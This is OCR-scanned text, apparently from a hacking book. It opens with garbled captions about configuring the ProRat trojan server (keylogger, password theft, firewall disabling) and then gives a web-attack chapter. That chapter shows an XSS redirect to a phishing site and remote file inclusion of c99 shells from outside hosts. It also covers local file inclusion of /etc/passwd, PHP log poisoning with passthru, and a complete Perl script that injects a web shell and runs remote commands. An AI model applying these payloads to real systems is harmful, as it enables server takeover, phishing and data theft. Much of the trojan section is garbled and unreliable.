Funry Stuff | File Manager
|E xplarer Search Files
Corntral Pariel Regizty
Shut Down PC| Screen Shot
Clipboard KevLogger
Give Damage | Pagswords
E. Diownloder Fiur
Frinter Services
Online Editor |ProConnective
Create
0. Trojan file o3 create cpdqdlecdn Create o3 oc0dSG[@: Create ProRat Server

Begedoddl




G. 938 server oo Victim a8eepodag3nGien 030900503 §0ds0ndad qesnt a3udq, IP
address §0500050l 0305 IP 030o809:a3qC Gonisnin [Pidend §603053 o oo
[spSe0:0lc8G0di

S - 86

oo N ]

ProConnective Motification [Metwark and Fouter)
Supports Reverse Conneclion

ki s PraCornective Notification Test
General Settings IP[ONS) Address:  [EEEINN]

I atifications

HI

b il-M ctification
Doezn't support Beverse Connechion

[ Use Mail Matification Test

20 % P T 12 ail iemail com

Bind with File

Server Extenzions

|G Pager Motification
Doeszn't support Reverze Eunnectiun[:s

Sepverloon b s IC0Q Pager Motification
TmERE T 157116737

Test

CGEI Hotificatior
Doesn't support Beverze Connection

Bl Use CI Matification Test
eI RN =TI Fttr: A v poursite. comydcgi-bindprorat. cgi

Server Sizer 342 Ehaut
|

€)) Help




6. General Setting 038003050l 298¢0  server GO L0OHARWOLL)  port
Begeeosd 6005 victim  §005030n  server  03§|0ds00d03398l  password
coza00g|Conudadq password §od00pdc305d [Geeony Victim snwpdoopddn 333 setting
& 603,033205C:dd ProRat ¢> Windows Firewall o3 disable co68E030m Aldlonudi 65005

Task Manager ¢ 0e0le30E0p5: rda3 qdlodSi

b ntifit}tinns Server Port:
Server Pazsword:
Gereral Settings Yictin M amne: wichim
I Give a fake enor message. '—!
- G b M el server oninistall -
Bind with File kil 84-F/ on start
L Disable Windows P SP2 Security Center
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With the Web 2.0 era upon us, most websites are dynamic and allow the users to
interact with the content. Many of the web applications that run these dynamic websites
have security flaws. In this chapter, we will discuss some of the most popular forms of
attacks against web applications.

Cross Site Scripting

Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which
causes the application to do something it wasn't intended to do. XSS attacks are very
popular and some of the biggest websites have been affected by them including the FBI,
CNN, Ebay, Apple, Microsft, and AOL. Some website features commonly vulnerable to XSS
attacks are:

e Search Engines

e Login Forms

e Comment Fields

There are three types of XSS attacks:

1. Local — Local XSS attacks are by far the rarest and the hardest to pull off. This attack
requires an exploit for a browser vulnerability. With this type of attack, the hacker can
install worms, spambots, and backdoors onto your computer.

2. Non-Persistent — Non-persistent attacks are the most common types of attack and don't
harm the actual website. Non-persistent attacks occur when (- a scripting language that is
used for client-side web development.) or HTML is inserted into a variable which causes
the output that the user sees to be changed. Non-persistent attacks are only activated
when the user visits the URL crafted by the attacker.

3. Persistent — Persistent attacks are usually used against web applications like guest
books, forums, and shout boxes. Some of the things a hacker can do with a persistent
attacks are:

« Steal website cookies (Cookies are used by web browsers to store your user information
so that you can stay logged into a website even after you leave. By stealing your cookie,
the attacker can sometimes login without knowing your password.)



e Deface the website
e Spread Worms
Now that you know what cross site scripting is, how can you tell if a website if vulnerable
to it?
1. If there is a search field, enter a word and if that word is displayed back to you on the
next page, there’s a chance it is vulnerable.
2. Now we will insert some HTML. Search for <hl>hi</h1>, and if the word “hi” is
outputted as a big header, it is vulnerable.
©-98

<h1>hichl >

Mo results for " |

3. Now we will insert JavaScript. Search for <script>alert(“hi”); </script> , if the word “hi”

pops up in a popup box, then the site is vulnerable to XSS.
@ - 99 100

< scriptbaler‘t{_"hi"_} e -:ri!:utb!

4. As you can see, these examples are non-persistent. Now if a hacker found a guestbook
or something else like it that was vulnerable, he would be able to make it persistent and
everyone that visits the page would get the above alert if that was part of his comment.

Hackers knowledgeable in JavaScript and PHP will be able to craft advanced XSS
attacks to steal your cookies and spread XSS worms, but to show you a simple example of
something more realistic then the above examples, I will show you how a hacker could use
XSS to help with phishing.



1. Let's say a hacker wants to phish passwords from www.victim-site.com. If he was
able to find an XSS vulnerability anywhere on the website, he would be able to craft
a link pointing to the legit website that redirects to his phishing website.
2. In the example with the popup, when I inserted the JavaScript into the search box,
a URL was formed that looked like the following:
©-101
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Here you can see that the code you typed into the search box was passed to the
“searchbox” variable.

3. In the URL the hacker would then replace everything in between ?searchbox= and
&search with the following JavaScript code:
<script>window.location = “http://phishing-site.com”</script>

4. Now when you go to the finished link, the legitimate site will redirect to the phishing
website. Next what the hacker would do is encode the URL to make it look more legit and
less suspicious. You can encode the URL at http://www.encodeurl.com/.

5. My finished encoded URL is:
http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.location
+%3D+%5C%22http%3A%2F%2Fphishing-
site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21

6. Once the victim sees that the link points to the legitimate website, he will be more likely
to fall for the phishing attack.



Remote File Inclusion

Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical
interface for browsing remote files and running your own code on a server), is included
into a website which allows the hacker to execute server side commands as the current
logged on user, and have access to files on the server. With this power the hacker can
continue on to use local exploits to escalate his privileges and take over the whole system.
Many servers are vulnerable to this kind of attack because of PHP’s default settings of
register_globals and allow_url_fopen being enabled. Although as of PHP 6.0,
register_globals has been depreciated and removed, many websites still rely on older
versions of PHP to run their web applications. Now let’s go through the steps a hacker
would take to exploit this type of vulnerability in a website.

1. First the hacker would find a website that gets its pages via the PHP include() function
and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to
RFI. A Google dork is the act of using Google’s provided search tools to help get a specific
search result.

2. Website that include pages have a navigation system similar to:
http://target-site.com/index.php?page=PageName

3. To see if a the page is vulnerable, the hacker would try to include a site instead of
PageName like the following:
http://target-site.com/index.php?page=http://google.com

4. If the Google homepage shows up on the website, then the hacker knows the website is
vulnerable and would continue to include a shell.

5. A couple of the most popular shells are c99 and r57. A hacker would either upload them
to a remote server or just use a Google dork to locate them already online and insert
them. To find the a shell the hacker would search Google for: inurl:c99.txt. This will display
many websites with the shell already up and ready to be included. 3t the end of the URL
make sure to add a ? so that if anything comes after c99.txt, it will be passed to the shell
and not cause any problems. The new URL with the shell included would look like:
http://target-site.com/index.php?page=http://site.com/c99.txt?



6. Sometimes the PHP script on the server appends “.php” to the end of every included
file. So if you included the shell, it would end up looking like “c99.txt.php” and not work.
To get around this, you would add a null byte (%00) to the end of c99.txt. This tells the
server to ignore everything after c99.txt.

7. In step one, I told you that hackers use Google dorks to look for sites possibly
vulnerable to RFIs. An example of a Google dork would be: allinurl:.php?page=. This looks
for URL’s with .php?page= in them. This is only an example and you most likely won't find
any vulnerable sites with that search. You can try switching around the word “page” with
other letters and similar words. Hackers usually search vulnerability databases like
www.milwOrm.com for already discovered RFI vulnerabilities in site content management
systems and search for websites that are running that vulnerable web application with a
Google dork.



8. If the hacker succeeds in getting the server to parse the shell, he will be presented with
a screen similar to the following:
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The shell will display information about the remote server and list all the files and
directories on it. From here the hacker would find a directory that has read and write
privileges and upload the shell but this time as a .php file so that incase the vulnerability is
fixed, he will be able to access it later on.

9. The hacker would next find a way to gain root privileges on the system. He can do this
by uploading and running local exploits against the server. He could also search the victim
server for configuration files. These files may contain username and passwords for the
MYSQL databases and such.




To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts,
and make sure you server php.ini file has register_globals and allow_url_fopen disabled.

Local File Inclusion

Local File Inclusion (LFI) is when you have the ability to browse through the server
by means of directory transversal. One of the most common uses of LFI is to discover the
/etc/passwd file. This file contains the user information of a Linux system. Hackers find
sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a
vulnerable site, www.target-site.com/index.php?p=about, by means of directory transversal
he would try to browse to the /etc/passwd file:
www.target-site.com/index.php?p= ../../../..[../..]../etc/passwd
The ../ you up one directory and the amount to use depends where in the server you are
located compared the location of the /etc/passwd file.
If the hacker is able to successfully get to the /etc/passwd file he would see a list similar
to the one below.
Root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
Ip:x:4:7:1p:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
Each line is divided into seven parts:
username:passwd:UserID:GroupID:full_name:directory:shell

If the password hash was shown, the hacker would be able to crack it and get
access to the machine, but in our case the password isnt shown. This means that the
password is shadowed and in the /etc/shadow file which the hacker doesn’t have access
to. If this was the case, the hacker would probably attempt to get access to the system
another way, through log injection.

The log directories are located in different areas in different Linux distributions. Below is a
list of the most common locations.



../apache/logs/error.log
../Japache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../Japache/logs/error.log
../../../]apache/logs/access.log

S]] Jete/httpd/logs/acces_log
S]] Jete/httpd/logs/acces.log
W] Jetc/httpd/logs/error_log
S]] Jete/httpd/logs/error.log
S]] Jvarfwww/logs/access_log
oSl var/www/logs/access.log
... ]..]..]..]usr/local/apache/logs/access_log
... ]..]..]..]Just/local/apache/logs/access.log
... ]..]..]../]var/log/apache/access_log
WG] Jvar/log/apache2/access_log

J. 1.0 ]..]..]../var/log/apache/access.log

f. ] ].]..]../var/log/apache2/access.log
S]] Jvar/log/access_log
S]] . [var/log/access.log

S]] var/www/logs/error_log
S]] var/www/logs/error.log
.J.1..].]..]..]..]usr/local/apache/logs/error_log
.J../.]..]..]..]..]usr/local/apache/logs/error.log
J. 1.0 ]..]..]../]var/log/apache/error_log
/L] Jvar/log/apache2/error_log
S]] Jvar/log/apache2/error.log
S]] [var/log/error_log

S]] Jvar/log/error.log



Below are the steps a hacker would take to take gain access to the system through log
injection.

1. First the hacker would find what operating system version the target server is running
and then search where the log files are located on that OS.

2. Next, through LFI the hacker would navigate to that file location. If he is displayed with
a bunch of logs, then he may continue.

3. The hacker would then inject some PHP code into the logs by typing

<? Passthru($_GET['cmd’]) ?> after = in the URL. This will cause the PHP script to be
logged because there is no file by that name. What this script will do is give the hacker
shell access and allow him to execute system commands.

4. Now if the hacker goes back to the log file, he will see that his PHP script wasn't parsed
and instead converted to
%3C?%20passthru($_GET[cmd])%20?%3E

5. When you submitted the script, the browser automatically encoded the URL. Luckily
there is a pearl script that can get around this problem. Below is the pearl script, edit the
variables: $site, $path, $code, and $log to the appropriate information.

#!/usr/bin/perl -w

use I0::Socket;

use LWP::pserAgent;

$site="www.vulnerablesite.com”;

$path="/";

$code="<? Passthru(\$_GET[cmd]) ?>";

$log ="../../../..]..]..]../etc/httpd/logs/error_log”;

print “Trying to inject the code”;

$socket = I0::Socket::INET->new(Proto=>"tcp”, PeerAddr=>"$site”, PeerPort=>"80") or
die “\nConnection Failed.\n\n";

print $socket “"GET “.$path.$code.” HTTP/1.1\r\n";

print $socket “pser-Agent: “.$code."\r\n";

print $socket “Host: “.$site.”\r\n";

print $socket “Connection: close\r\n\r\n”;

close($socket);

print “*\nCode $code successfully injected in $log \n";



print “*\nType command to run or exit to end: %;

$cmd = <STDIN>;

while($cmd !~ “exit”) {

$socket = I0::Socket::INET->new(Proto=>"tcp”, PeerAddr=>"$site”, PeerPort=>"80") or
die “\nConnection Failed.\n\n";

print $socket “"GET “.$path.”index.php?filename=".$log."&cmd=$cmd HTTP/1.1\r\n";
print $socket “Host: “.$site."\r\n";

print $socket “Accept: */*\r\n";

print $socket “Connection: close\r\n\n";

while ($show = <$socket>)

{

print $show;

¥

print “Type command to run or exit to end: %;

$cmd = <STDIN>;

}

6. Once the hacker runs this script and it goes successfully, he will be able to run any
command on the server. From here he can run any local exploits to gain root, or just
browse the server files.



Chapter Ten
Conclusion
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